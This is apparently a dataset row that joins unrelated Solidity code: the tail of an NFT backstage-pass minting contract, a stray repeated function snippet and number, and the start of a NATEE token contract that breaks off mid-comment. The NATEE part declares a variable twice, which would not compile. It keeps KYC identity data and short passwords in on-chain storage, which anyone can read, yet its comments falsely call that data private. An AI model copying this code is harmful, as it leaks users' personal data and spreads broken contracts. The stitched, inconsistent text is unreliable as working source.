memory) { return symbol_; } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override(ERC1155, ERC1155Supply) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } /** * @dev and for the eternity.... **/ function lockMetadata() public onlyOwner { require (!locked_, "Collection already locked !"); locked_ = true; } } // File: contracts/extensions/MessageSigning.sol abstract contract MessageSigning { // Signer Address address internal signerAddress; constructor(address signerAddress_){ signerAddress = signerAddress_; } /************ * @dev message singing handling ************/ function isValidSignature(bytes memory message, bytes memory signature) public view returns (bool) { bytes32 _messageHash = keccak256(abi.encodePacked(message)); bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)); return _recoverSigner(ethSignedMessageHash, signature) == signerAddress; } /** * @dev Set the _signerAddress just in case */ function _setSignerAddress(address newSignerAddress) internal virtual { require(newSignerAddress != signerAddress, "New Signer Address cannot be the same as current one"); signerAddress = newSignerAddress; } function _recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) private pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = _splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function _splitSignature(bytes memory sig) private pure returns (bytes32 r, bytes32 s, uint8 v) { require(sig.length == 65, "invalid signature length"); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } } } // File: contracts/TuneCrue.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; //t //o _____ _____ ____________ //n |_ _| / __ \ | ___ \ ___ \ //y | |_ _ _ __ ___ | / \/_ __ _ _ ___ | |_/ / |_/ / //5 | | | | | '_ \ / _ \ | | | '__| | | |/ _ \ | ___ \ __/ //6 | | |_| | | | | __/ | \__/\ | | |_| | __/ | |_/ / | //5 \_/\__,_|_| |_|\___| \____/_| \__,_|\___| \____/\_| //. //x /* * @title ERC1155 token for Tune Crue Backstage Pass */ contract TuneCrueBP is AbstractERC1155Factory, ReentrancyGuard, MessageSigning { uint32 public maxSupply = 1444; uint32 public freeMintSupply = 200; bool public presale = true; mapping(string => uint256) private _price; mapping(address => uint16) private _WalletMintCounter; mapping(address => uint16) private _WalletFreeMintCounter; mapping(string => uint16) private _walletsLimit; address private _beneficiary; event Purchased(uint256 indexed index, address indexed account, uint256 amount); event Freeminted(uint256 indexed index, address indexed account, uint256 amount); constructor( string memory _name, string memory _symbol, string memory _uri, address reservesAddress, address signerAddress_, address beneficiary_ ) ERC1155(_uri) MessageSigning(signerAddress_) { name_ = _name; symbol_ = _symbol; _beneficiary = beneficiary_; _price["presale"] = 0.085 ether; _price["public"] = 0.085 ether; _price["vip"] = 0.05 ether; _walletsLimit["freemint"] = 1; _walletsLimit["presale"] = 1; _walletsLimit["vip"] = 2; _walletsLimit["public"] = 10; _mint(reservesAddress, 1, 194, ""); _pause(); } /** * @dev End the presale & sets the public Sales price */ function endPresale() external onlyOwner { require(presale, "Presale already ended"); presale = false; } /** * @notice edit the mint price * * @param newPrice the new price in wei */ function setNewPrice(string memory list, uint256 newPrice) external onlyOwner { require(_price[list] != newPrice, "New Price should be different than the current one"); _price[list] = newPrice; } /** * @notice edit setMaxPerWallet * * @param newMaxPerWallet the new max amount of tokens allowed to buy in one tx */ function setMaxPerWallet(string memory list, uint16 newMaxPerWallet) external onlyOwner { require(_walletsLimit[list] != newMaxPerWallet, "New maxPerWallet should be different than the current one"); _walletsLimit[list] = newMaxPerWallet; } /** * @notice purchase pass during early access sale * */ function whitelistMinting(bytes memory WhitelistSignature, string memory list) external payable whenNotPaused { require (presale, "Presale over!"); require (isValidSignature(abi.encodePacked(_msgSender(), list), WhitelistSignature), "Wallet not whitelisted"); require(_WalletMintCounter[msg.sender] + 1 <= _walletsLimit[list] , "max Pass per address exceeded"); _mintPass(list); } function freeMint(bytes memory FreemintSignature) external payable whenNotPaused nonReentrant{ require (isValidSignature(abi.encodePacked(_msgSender(), "freemint"), FreemintSignature), "Wallet not allowed for freemint"); require(_WalletFreeMintCounter[msg.sender] + 1 <= _walletsLimit["freemint"] , "max Pass per address exceeded"); require(freeMintSupply > 0 , "Purchase: Freemint Supply supply reached"); _mint(msg.sender, 1, 1, ""); unchecked { _WalletFreeMintCounter[msg.sender]++; freeMintSupply--; } emit Freeminted(1, msg.sender, 1); } /** * @notice purchase pass during public sale */ function publicMint() external payable whenNotPaused { require (!presale, "Presale is still on"); require(_WalletMintCounter[msg.sender] + 1 <= _walletsLimit["public"] , "max Pass per address exceeded"); _mintPass("public"); } /** * @notice global purchase function used in early access and public sale */ function _mintPass(string memory list) private nonReentrant { require(totalSupply(1) + 1 <= maxSupply - freeMintSupply, "Purchase: Max supply reached"); require(msg.value >= _price[list], "Purchase: Incorrect payment"); _mint(msg.sender, 1, 1, ""); unchecked { _WalletMintCounter[msg.sender]++; } emit Purchased(1, msg.sender, 1); } /** * @dev Decreases the total supply * */ function decreaseSupply(uint32 newSupply) external onlyOwner { require(newSupply < maxSupply,"Maximum supply can only be decreased"); require(newSupply >= totalSupply(1) + freeMintSupply, "New Supply too low"); maxSupply = newSupply; } function decreaseFreeMintSupply(uint32 newFreeMintSupply) external onlyOwner { require(newFreeMintSupply < freeMintSupply, "freeMintSupply can only be decreased"); freeMintSupply = newFreeMintSupply; } /** * @dev change the signerAddress just in case */ function setSignerAddress(address newsignerAddress) external onlyOwner{ _setSignerAddress(newsignerAddress); } /** * @dev Return the number of minted tokens during the presales for a wallet address */ function getNbrOfMintedToken(address wallet, bool asFree) external view returns (uint16) { if (asFree){ return _WalletFreeMintCounter[wallet]; } else { return _WalletMintCounter[wallet]; } } /** * @dev Return the mint price for a specific list */ function getTokenPrice(string memory list) external view returns (uint256){ return _price[list]; } /** * @dev Return the wallet limit for a specific list */ function getWalletLimit(string memory list) external view returns (uint16){ return _walletsLimit[list]; } /** * @dev Withdraw funds to the `_beneficiary` */ function withdrawFunds() external onlyOwner nonReentrant { require(address(this).balance != 0, "Nothing to withdraw"); (bool success, ) = _beneficiary.call{value: address(this).balance}(""); require(success, "Transfer failed."); } function changeBeneficiary(address newBeneficiary) external onlyOwner{ require(newBeneficiary != _beneficiary, "New beneficiary cannot be the same as the current one"); _beneficiary = newBeneficiary; } function uri(uint256 _id) public view override returns (string memory) { require(exists(_id), "URI: nonexistent token"); return string(abi.encodePacked(super.uri(_id), Strings.toString(_id), ".json")); } }
Set the _signerAddress just in case/
function _setSignerAddress(address newSignerAddress) internal virtual { require(newSignerAddress != signerAddress, "New Signer Address cannot be the same as current one"); signerAddress = newSignerAddress; }
6,891,959
pragma solidity ^0.4.25; // library for basic math operation + - * / to prevent and protect overflow error // (Overflow and Underflow) which can be occurred from unit256 (Unsigned int 256) library SafeMath256 { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a==0 || b==0) return 0; uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b>0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require( b<= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } // Mandatory basic functions according to ERC20 standard contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success); } // Contract Ownable is used to specified which person has right/permission to execute/invoke the specific function. // Different from OnlyOwner which is the only owner of the smart contract who has right/permission to call // the specific function. Aside from OnlyOwner, // OnlyOwners can also be used which any of Owners can call the particular function. contract Ownable { // A list of owners which will be saved as a list here, // and the values are the owner’s names. // This to allow investors / NATEE Token buyers to trace/monitor // who executes which functions written in this NATEE smart contract string [] ownerName; string [] ownerName; mapping (address=>bool) owners; mapping (address=>uint256) ownerToProfile; address owner; // all events will be saved as log files event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddOwner(address newOwner,string name); event RemoveOwner(address owner); /** * @dev Ownable constructor , initializes sender’s account and * set as owner according to default value according to contract * */ // this function will be executed during initial load and will keep the smart contract creator (msg.sender) as Owner // and also saved in Owners. This smart contract creator/owner is // Mr. Samret Wajanasathian CTO of Seitee Pte Ltd (https://seitee.com.sg , https://natee.io) constructor() public { owner = msg.sender; owners[msg.sender] = true; uint256 idx = ownerName.push("SAMRET WAJANASATHIAN"); ownerToProfile[msg.sender] = idx; } // function to check whether the given address is either Wallet address or Contract Address function isContract(address _addr) internal view returns(bool){ uint256 length; assembly{ length := extcodesize(_addr) } if(length > 0){ return true; } else { return false; } } // function to check if the executor is the owner? This to ensure that only the person // who has right to execute/call the function has the permission to do so. modifier onlyOwner(){ require(msg.sender == owner); _; } // This function has only one Owner. The ownership can be transferrable and only // the current Owner will only be able to execute this function. function transferOwnership(address newOwner,string newOwnerName) public onlyOwner{ require(isContract(newOwner) == false); uint256 idx; if(ownerToProfile[newOwner] == 0) { idx = ownerName.push(newOwnerName); ownerToProfile[newOwner] = idx; } emit OwnershipTransferred(owner,newOwner); owner = newOwner; } // Function to check if the person is listed in a group of Owners and determine // if the person has the any permissions in this smart contract such as Exec permission. modifier onlyOwners(){ require(owners[msg.sender] == true); _; } // Function to add Owner into a list. The person who wanted to add a new owner into this list but be an existing // member of the Owners list. The log will be saved and can be traced / monitor who’s called this function. function addOwner(address newOwner,string newOwnerName) public onlyOwners{ require(owners[newOwner] == false); require(newOwner != msg.sender); if(ownerToProfile[newOwner] == 0) { uint256 idx = ownerName.push(newOwnerName); ownerToProfile[newOwner] = idx; } owners[newOwner] = true; emit AddOwner(newOwner,newOwnerName); } // Function to remove the Owner from the Owners list. The person who wanted to remove any owner from Owners // List must be an existing member of the Owners List. The owner cannot evict himself from the Owners // List by his own, this is to ensure that there is at least one Owner of this NATEE Smart Contract. // This NATEE Smart Contract will become useless if there is no owner at all. function removeOwner(address _owner) public onlyOwners{ require(_owner != msg.sender); // can't remove your self owners[_owner] = false; emit RemoveOwner(_owner); } // this function is to check of the given address is allowed to call/execute the particular function // return true if the given address has right to execute the function. // for transparency purpose, anyone can use this to trace/monitor the behaviors of this NATEE smart contract. function isOwner(address _owner) public view returns(bool){ return owners[_owner]; } // Function to check who’s executed the functions of smart contract. This returns the name of // Owner and this give transparency of whose actions on this NATEE Smart Contract. function getOwnerName(address ownerAddr) public view returns(string){ require(ownerToProfile[ownerAddr] > 0); return ownerName[ownerToProfile[ownerAddr] - 1]; } } // ContractToken is for managing transactions of wallet address or contract address with its own // criterias and conditions such as settlement. contract ControlToken is Ownable{ mapping (address => bool) lockAddr; address[] lockAddrList; uint32 unlockDate; bool disableBlock; bool call2YLock; mapping(address => bool) allowControl; address[] exchangeAddress; uint32 exchangeTimeOut; event Call2YLock(address caller); // Initially the lockin period is set for 100 years starting from the date of Smart Contract Deployment. // The company will have to adjust it to 2 years for lockin period starting from the first day that // NATEE token listed in exchange (in any exchange). constructor() public{ unlockDate = uint32(now) + 36500 days; // Start Lock 100 Year first } // function to set Wallet Address that belong to Exclusive Exchange. // The lockin period for this setting has its minimum of 6 months. function setExchangeAddr(address _addr) onlyOwners public{ uint256 numEx = exchangeAddress.push(_addr); if(numEx == 1){ exchangeTimeOut = uint32(now + 180 days); } } // Function to adjust lockin period of Exclusive Exchange, // this could unlock the lockin period and allow freedom trade. function setExchangeTimeOut(uint32 timStemp) onlyOwners public{ exchangeTimeOut = timStemp; } // This function is used to set duration from 100 years to 2 years, start counting from the date that execute this function. // To prevent early execution and to ensure that only the legitimate Owner can execute this function, // Seitee Pte Ltd has logged all activities from this function which open for public for transparency. // The generated log will be publicly published on ERC20 network, anyone can check/trace from the log // that this function will never been called if there no confirmed Exchange that accepts NATEE Token. // Any NATEE token holders who still serving lockin period, can ensure that there will be no repeatedly // execution for this function (the repeatedly execution could lead to lockin period extension to more than 2 years). // The constraint “call2YLock” is initialized as boolean “False” when the NATEE Smart Contract is created and will only // be set to “true” when this function is executed. One the value changed from false > true, it will preserve the value forever. function start2YearLock() onlyOwners public{ if(call2YLock == false){ unlockDate = uint32(now) + 730 days; call2YLock = true; emit Call2YLock(msg.sender); } } function lockAddress(address _addr) internal{ if(lockAddr[_addr] == false) { lockAddr[_addr] = true; lockAddrList.push(_addr); } } function isLockAddr(address _addr) public view returns(bool){ return lockAddr[_addr]; } // this internal function is used to add address into the locked address list. function addLockAddress(address _addr) onlyOwners public{ if(lockAddr[_addr] == false) { lockAddr[_addr] = true; lockAddrList.push(_addr); } } // Function to unlock the token for all addresses. This function is open as public modifier // stated to allow anyone to execute it. This to prevent the doubtful of delay of unlocking // or any circumstances that prolong the unlocking. This just simply means, anyone can unlock // the address for anyone in this Smart Contract. function unlockAllAddress() public{ if(uint32(now) >= unlockDate) { for(uint256 i=0;i<lockAddrList.length;i++) { lockAddr[lockAddrList[i]] = false; } } } // The followings are the controls for Token Transfer, the Controls are managed by Seitee Pte Ltd //========================= ADDRESS CONTROL ======================= // This internal function is to indicate that the Wallet Address has been allowed and let Seitee Pte Ltd // to do transactions. The initial value is closed which means, Seitee Pte Lte cannot do any transactions. function setAllowControl(address _addr) internal{ if(allowControl[_addr] == false) allowControl[_addr] = true; } // this function is to check whether the given Wallet Address can be managed/controlled by Seitee Pte Ltd. // If return “true” means, Seitee Pte Ltd take controls of this Wallet Address. function checkAllowControl(address _addr) public view returns(bool){ return allowControl[_addr]; } // NATEE Token system prevents the transfer of token to non-verified Wallet Address // (the Wallet Address that hasn’t been verified thru KYC). This can also means that // Token wont be transferable to other Wallet Address that not saved in this Smart Contract. // This function is created for everyone to unlock the Wallet Address, once the Wallet Address is unlocked, // the Wallet Address can’t be set to lock again. Our Smart Contract doesn’t have any line that // contains “disableBlock = false”. The condition is when there is a new exchange in the system and // fulfill the 6 months lockin period or less (depends on the value set). function setDisableLock() public{ if(uint256(now) >= exchangeTimeOut && exchangeAddress.length > 0) { if(disableBlock == false) disableBlock = true; } } } // NATEE token smart contract stored KYC Data on Blockchain for transparency. // Only Seitee Pte Ltd has the access to this KYC data. The authorities/Government // Agencies can be given the access to view this KYC data, too (subject to approval). // Please note, this is not open publicly. contract KYC is ControlToken{ struct KYCData{ bytes8 birthday; // yymmdd bytes16 phoneNumber; uint16 documentType; // 2 byte; uint32 createTime; // 4 byte; // --- 32 byte bytes32 peronalID; // Passport หรือ idcard // --- 32 byte bytes32 name; bytes32 surName; bytes32 email; bytes8 password; } KYCData[] internal kycDatas; mapping (uint256=>address) kycDataForOwners; mapping (address=>uint256) OwnerToKycData; mapping (uint256=>address) internal kycSOSToOwner; //keccak256 for SOS function event ChangePassword(address indexed owner_,uint256 kycIdx_); event CreateKYCData(address indexed owner_, uint256 kycIdx_); // Individual KYC data the parameter is index of the KYC data. Only Seitee Pte Ltd can view this data. function getKYCData(uint256 _idx) onlyOwners view public returns(bytes16 phoneNumber_, bytes8 birthday_, uint16 documentType_, bytes32 peronalID_, bytes32 name_, bytes32 surname_, bytes32 email_){ require(_idx <= kycDatas.length && _idx > 0,"ERROR GetKYCData 01"); KYCData memory _kyc; uint256 kycKey = _idx - 1; _kyc = kycDatas[kycKey]; phoneNumber_ = _kyc.phoneNumber; birthday_ = _kyc.birthday; documentType_ = _kyc.documentType; peronalID_ = _kyc.peronalID; name_ = _kyc.name; surname_ = _kyc.surName; email_ = _kyc.email; } // function to view KYC data from registered Wallet Address. Only Seitee Pte Ltd has right to view this data. function getKYCDataByAddr(address _addr) onlyOwners view public returns(bytes16 phoneNumber_, bytes8 birthday_, uint16 documentType_, bytes32 peronalID_, bytes32 name_, bytes32 surname_, bytes32 email_){ require(OwnerToKycData[_addr] > 0,"ERROR GetKYCData 02"); KYCData memory _kyc; uint256 kycKey = OwnerToKycData[_addr] - 1; _kyc = kycDatas[kycKey]; phoneNumber_ = _kyc.phoneNumber; birthday_ = _kyc.birthday; documentType_ = _kyc.documentType; peronalID_ = _kyc.peronalID; name_ = _kyc.name; surname_ = _kyc.surName; email_ = _kyc.email; } // The Owner can view the history records from KYC processes. function getKYCData() view public returns(bytes16 phoneNumber_, bytes8 birthday_, uint16 documentType_, bytes32 peronalID_, bytes32 name_, bytes32 surname_, bytes32 email_){ require(OwnerToKycData[msg.sender] > 0,"ERROR GetKYCData 03"); // if == 0 not have data; uint256 id = OwnerToKycData[msg.sender] - 1; KYCData memory _kyc; _kyc = kycDatas[id]; phoneNumber_ = _kyc.phoneNumber; birthday_ = _kyc.birthday; documentType_ = _kyc.documentType; peronalID_ = _kyc.peronalID; name_ = _kyc.name; surname_ = _kyc.surName; email_ = _kyc.email; } // 6 chars password which the Owner can update the password by himself/herself. Only the Owner can execute this function. function changePassword(bytes8 oldPass_, bytes8 newPass_) public returns(bool){ require(OwnerToKycData[msg.sender] > 0,"ERROR changePassword"); uint256 id = OwnerToKycData[msg.sender] - 1; if(kycDatas[id].password == oldPass_) { kycDatas[id].password = newPass_; emit ChangePassword(msg.sender, id); } else { assert(kycDatas[id].password == oldPass_); } return true; } // function to create record of KYC data function createKYCData(bytes32 _name, bytes32 _surname, bytes32 _email,bytes8 _password, bytes8 _birthday,bytes16 _phone,uint16 _docType,bytes32 _peronalID,address _wallet) onlyOwners public returns(uint256){ uint256 id = kycDatas.push(KYCData(_birthday, _phone, _docType, uint32(now) ,_peronalID, _name, _surname, _email, _password)); uint256 sosHash = uint256(keccak256(abi.encodePacked(_name, _surname , _email, _password))); OwnerToKycData[_wallet] = id; kycDataForOwners[id] = _wallet; kycSOSToOwner[sosHash] = _wallet; emit CreateKYCData(_wallet,id); return id; } function maxKYCData() public view returns(uint256){ return kycDatas.length; } function haveKYCData(address _addr) public view returns(bool){ if(OwnerToKycData[_addr] > 0) return true; else return false; } } // Standard ERC20 function, no overriding at the moment. contract StandarERC20 is ERC20{ using SafeMath256 for uint256; mapping (address => uint256) balance; mapping (address => mapping (address=>uint256)) allowed; uint256 public totalSupply_; address[] public holders; mapping (address => uint256) holderToId; event Transfer(address indexed from,address indexed to,uint256 value); event Approval(address indexed owner,address indexed spender,uint256 value); // Total number of Tokens function totalSupply() public view returns (uint256){ return totalSupply_; } function balanceOf(address _walletAddress) public view returns (uint256){ return balance[_walletAddress]; } // function to check on how many tokens set to be transfer between _owner and _spender. This is to check prior to confirm the transaction. function allowance(address _owner, address _spender) public view returns (uint256){ return allowed[_owner][_spender]; } // Standard function used to transfer the token according to ERC20 standard function transfer(address _to, uint256 _value) public returns (bool){ require(_value <= balance[msg.sender]); require(_to != address(0)); balance[msg.sender] = balance[msg.sender].sub(_value); balance[_to] = balance[_to].add(_value); emit Transfer(msg.sender,_to,_value); return true; } // standard function to approve transfer of token function approve(address _spender, uint256 _value) public returns (bool){ allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // standard function to request the money used after the sender has initialize the // transition of money transfer. Only the beneficiary able to execute this function // and the amount of money has been set as transferable by the sender. function transferFrom(address _from, address _to, uint256 _value) public returns (bool){ require(_value <= balance[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balance[_from] = balance[_from].sub(_value); balance[_to] = balance[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } // additional function to store all NATEE Token holders as a list in blockchain. // This could be use for bounty program in the future. function addHolder(address _addr) internal{ if(holderToId[_addr] == 0) { uint256 idx = holders.push(_addr); holderToId[_addr] = idx; } } // function to request the top NATEE Token holders. function getMaxHolders() external view returns(uint256){ return holders.length; } // function to read all indexes of NATEE Token holders. function getHolder(uint256 idx) external view returns(address){ return holders[idx]; } } // Contract for co-founders and advisors which is total of 5,000,000 Tokens for co-founders // and 4,000,000 tokens for advisors. Maximum NATEE token for advisor is 200,000 Tokens and // the deficit from 4,000,000 tokens allocated to advisors, will be transferred to co-founders. contract FounderAdvisor is StandarERC20,Ownable,KYC { uint256 FOUNDER_SUPPLY = 5000000 ether; uint256 ADVISOR_SUPPLY = 4000000 ether; address[] advisors; address[] founders; mapping (address => uint256) advisorToID; mapping (address => uint256) founderToID; // will have true if already redeem. // Advisor and founder can't be same people bool public closeICO; // Will have this value after close ICO uint256 public TOKEN_PER_FOUNDER = 0 ether; uint256 public TOKEN_PER_ADVISOR = 0 ether; event AddFounder(address indexed newFounder,string nane,uint256 curFoounder); event AddAdvisor(address indexed newAdvisor,string name,uint256 curAdvisor); event CloseICO(); event RedeemAdvisor(address indexed addr_, uint256 value); event RedeemFounder(address indexed addr_, uint256 value); event ChangeAdvisorAddr(address indexed oldAddr_, address indexed newAddr_); event ChangeFounderAddr(address indexed oldAddr_, address indexed newAddr_); // function to add founders, name and surname will be logged. This // function will be disabled after ICO closed. function addFounder(address newAddr, string _name) onlyOwners external returns (bool){ require(closeICO == false); require(founderToID[newAddr] == 0); uint256 idx = founders.push(newAddr); founderToID[newAddr] = idx; emit AddFounder(newAddr, _name, idx); return true; } // function to add advisors. This function will be disabled after ICO closed. function addAdvisor(address newAdvis, string _name) onlyOwners external returns (bool){ require(closeICO == false); require(advisorToID[newAdvis] == 0); uint256 idx = advisors.push(newAdvis); advisorToID[newAdvis] = idx; emit AddAdvisor(newAdvis, _name, idx); return true; } // function to update Advisor’s Wallet Address. If there is a need to remove the advisor, // just input address = 0. This function will be disabled after ICO closed. function changeAdvisorAddr(address oldAddr, address newAddr) onlyOwners external returns(bool){ require(closeICO == false); require(advisorToID[oldAddr] > 0); // it should be true if already have advisor uint256 idx = advisorToID[oldAddr]; advisorToID[newAddr] = idx; advisorToID[oldAddr] = 0; advisors[idx - 1] = newAddr; emit ChangeAdvisorAddr(oldAddr,newAddr); return true; } // function to update founder’s Wallet Address. To remove the founder, // pass the value of address = 0. This function will be disabled after ICO closed. function changeFounderAddr(address oldAddr, address newAddr) onlyOwners external returns(bool){ require(closeICO == false); require(founderToID[oldAddr] > 0); uint256 idx = founderToID[oldAddr]; founderToID[newAddr] = idx; founderToID[oldAddr] = 0; founders[idx - 1] = newAddr; emit ChangeFounderAddr(oldAddr, newAddr); return true; } function isAdvisor(address addr) public view returns(bool){ if(advisorToID[addr] > 0) return true; else return false; } function isFounder(address addr) public view returns(bool){ if(founderToID[addr] > 0) return true; else return false; } } // Contract MyToken is created for extra permission to make a transfer of token. Typically, // NATEE Token will be held and will only be able to transferred to those who has successfully // done the KYC. For those who holds NATEE PRIVATE TOKEN at least 8,000,000 tokens is able to // transfer the token to anyone with no limit. contract MyToken is FounderAdvisor { using SafeMath256 for uint256; mapping(address => uint256) privateBalance; event SOSTranfer(address indexed oldAddr_, address indexed newAddr_); // standard function according to ERC20, modified by adding the condition of lockin period (2 years) // for founders and advisors. Including the check whether the address has been KYC verified and is // NATEE PRIVATE TOKEN holder will be able to freedomly trade the token. function transfer(address _to, uint256 _value) public returns (bool){ if(lockAddr[msg.sender] == true) // 2 Year lock can Transfer only Lock Address { require(lockAddr[_to] == true); } // if total number of NATEE PRIVATE TOKEN is less than amount that wish to transfer if(privateBalance[msg.sender] < _value){ if(disableBlock == false) { require(OwnerToKycData[msg.sender] > 0,"You Not have permission to Send"); require(OwnerToKycData[_to] > 0,"You not have permission to Recieve"); } } addHolder(_to); if(super.transfer(_to, _value) == true) { // check if the total balance of token is less than transferred amount if(privateBalance[msg.sender] <= _value) { privateBalance[_to] += privateBalance[msg.sender]; privateBalance[msg.sender] = 0; } else { privateBalance[msg.sender] = privateBalance[msg.sender].sub(_value); privateBalance[_to] = privateBalance[_to].add(_value); } return true; } return false; } // standard function ERC20, with additional criteria for 2 years lockin period for Founders and Advisors. // Check if the owner of that Address has done the KYC successfully, if yes and having NATEE Private Token // then, will be allowed to make the transfer. function transferFrom(address _from, address _to, uint256 _value) public returns (bool){ require(lockAddr[_from] == false); //2 Year Lock Can't Transfer if(privateBalance[_from] < _value) { if(disableBlock == false) { require(OwnerToKycData[msg.sender] > 0, "You Not Have permission to Send"); require(OwnerToKycData[_to] > 0,"You not have permission to recieve"); } } addHolder(_to); if(super.transferFrom(_from, _to, _value) == true) { if(privateBalance[msg.sender] <= _value) { privateBalance[_to] += privateBalance[msg.sender]; privateBalance[msg.sender] = 0; } else { privateBalance[msg.sender] = privateBalance[msg.sender].sub(_value); privateBalance[_to] = privateBalance[_to].add(_value); } return true; } return false; } // function to transfer all asset from the old wallet to new wallet. This is used, just in case, the owner forget the private key. // The owner who which to update the wallet by calling this function must have successfully done KYC and the 6 alpha numeric password // must be used and submit to Seitee Pte Ltd. The company will recover the old wallet address and transfer the assets to the new wallet // address on behave of the owner of the wallet address. function sosTransfer(bytes32 _name, bytes32 _surname, bytes32 _email,bytes8 _password,address _newAddr) onlyOwners public returns(bool){ uint256 sosHash = uint256(keccak256(abi.encodePacked(_name, _surname , _email, _password))); address oldAddr = kycSOSToOwner[sosHash]; uint256 idx = OwnerToKycData[oldAddr]; require(allowControl[oldAddr] == false); if(idx > 0) { idx = idx - 1; if(kycDatas[idx].name == _name && kycDatas[idx].surName == _surname && kycDatas[idx].email == _email && kycDatas[idx].password == _password) { kycSOSToOwner[sosHash] = _newAddr; OwnerToKycData[oldAddr] = 0; // reset it OwnerToKycData[_newAddr] = idx; kycDataForOwners[idx] = _newAddr; emit SOSTranfer(oldAddr, _newAddr); lockAddr[_newAddr] = lockAddr[oldAddr]; //Transfer All Token to new address balance[_newAddr] = balance[oldAddr]; balance[oldAddr] = 0; privateBalance[_newAddr] = privateBalance[oldAddr]; privateBalance[oldAddr] = 0; emit Transfer(oldAddr, _newAddr, balance[_newAddr]); } } return true; } // function for internal transfer between wallets that the controls have been given to // the company (The owner can revoke these controls after ICO closed). Only the founders // of Seitee Pte Ltd can execute this function. All activities will be publicly logged. // The user can trace/view the log to check transparency if any founders of the company // make the transfer of assets from your wallets. Again, Transparency is the key here. function inTransfer(address _from, address _to,uint256 value) onlyOwners public{ require(allowControl[_from] == true); //default = false require(balance[_from] >= value); balance[_from] -= value; balance[_to] = balance[_to].add(value); if(privateBalance[_from] <= value) { privateBalance[_to] += privateBalance[_from]; privateBalance[_from] = 0; } else { privateBalance[_from] = privateBalance[_from].sub(value); privateBalance[_to] = privateBalance[_to].add(value); } emit Transfer(_from,_to,value); } function balanceOfPrivate(address _walletAddress) public view returns (uint256){ return privateBalance[_walletAddress]; } } // Contract for NATEE PRIVATE TOKEN (1 NATEE PRIVATE TOKEN equivalent to 8 NATEE TOKEN) contract NateePrivate { function redeemToken(address _redeem, uint256 _value) external; function getMaxHolder() view external returns(uint256); function getAddressByID(uint256 _id) view external returns(address); function balancePrivate(address _walletAddress) public view returns (uint256); } // The interface of SGDS (Singapore Dollar Stable) contract SGDSInterface{ function balanceOf(address tokenOwner) public view returns (uint256 balance); function intTransfer(address _from, address _to, uint256 _value) external; function transferWallet(address _from,address _to) external; function getUserControl(address _addr) external view returns(bool); // if true mean user can control by him. false mean Company can control function useSGDS(address useAddr,uint256 value) external returns(bool); function transfer(address _to, uint256 _value) public returns (bool); } // Interface of NATEE Warrant contract NateeWarrantInterface { function balanceOf(address tokenOwner) public view returns (uint256 balance); function redeemWarrant(address _from, uint256 _value) external; function getWarrantInfo() external view returns(string name_,string symbol_,uint256 supply_ ); function getUserControl(address _addr) external view returns(bool); function sendWarrant(address _to,uint256 _value) external; function expireDate() public pure returns (uint32); } // HAVE 5 Type of REFERRAL // 1 Buy 8,000 NATEE Then can get referral code REDEEM AFTER REACH SOFTCAP // 2 FIX RATE REDEEM AFTER REARCH SOFTCAP NO Buy // 3 adjust RATE REDEEM AFTER REARCH SOFTCAP NO Buy // 4 adjust RATE REDEEM IMMEDIATLY NO Buy // 5 FIX RATE REDEEM IMMEDIATLY NO Buy // Contract for marketing by using referral code from above 5 scenarios. contract Marketing is MyToken{ struct REFERAL{ uint8 refType; uint8 fixRate; // user for type 2 and 5 uint256 redeemCom; // summary commision that redeem uint256 allCommission; uint256 summaryInvest; } REFERAL[] referals; mapping (address => uint256) referToID; // Add address for referrer function addReferal(address _address,uint8 referType,uint8 rate) onlyOwners public{ require(referToID[_address] == 0); uint256 idx = referals.push(REFERAL(referType,rate,0,0,0)); referToID[_address] = idx; } // increase bounty/commission rate for those who has successfully registered the address with this smart contract function addCommission(address _address,uint256 buyToken) internal{ uint256 idx; if(referToID[_address] > 0) { idx = referToID[_address] - 1; uint256 refType = uint256(referals[idx].refType); uint256 fixRate = uint256(referals[idx].fixRate); if(refType == 1 || refType == 3 || refType == 4){ referals[idx].summaryInvest += buyToken; if(referals[idx].summaryInvest <= 80000){ referals[idx].allCommission = referals[idx].summaryInvest / 20 / 2; // 5% }else if(referals[idx].summaryInvest >80000 && referals[idx].summaryInvest <=320000){ referals[idx].allCommission = 2000 + (referals[idx].summaryInvest / 10 / 2); // 10% }else if(referals[idx].summaryInvest > 320000){ referals[idx].allCommission = 2000 + 12000 + (referals[idx].summaryInvest * 15 / 100 / 2); // 10% } } else if(refType == 2 || refType == 5){ referals[idx].summaryInvest += buyToken; referals[idx].allCommission = (referals[idx].summaryInvest * 100) * fixRate / 100 / 2; } } } function getReferByAddr(address _address) onlyOwners view public returns(uint8 refType, uint8 fixRate, uint256 commision, uint256 allCommission, uint256 summaryInvest){ REFERAL memory refer = referals[referToID[_address]-1]; refType = refer.refType; fixRate = refer.fixRate; commision = refer.redeemCom; allCommission = refer.allCommission; summaryInvest = refer.summaryInvest; } // check if the given address is listed in referral list function checkHaveRefer(address _address) public view returns(bool){ return (referToID[_address] > 0); } // check the total commission on what you have earned so far, the unit is SGDS (Singapore Dollar Stable) 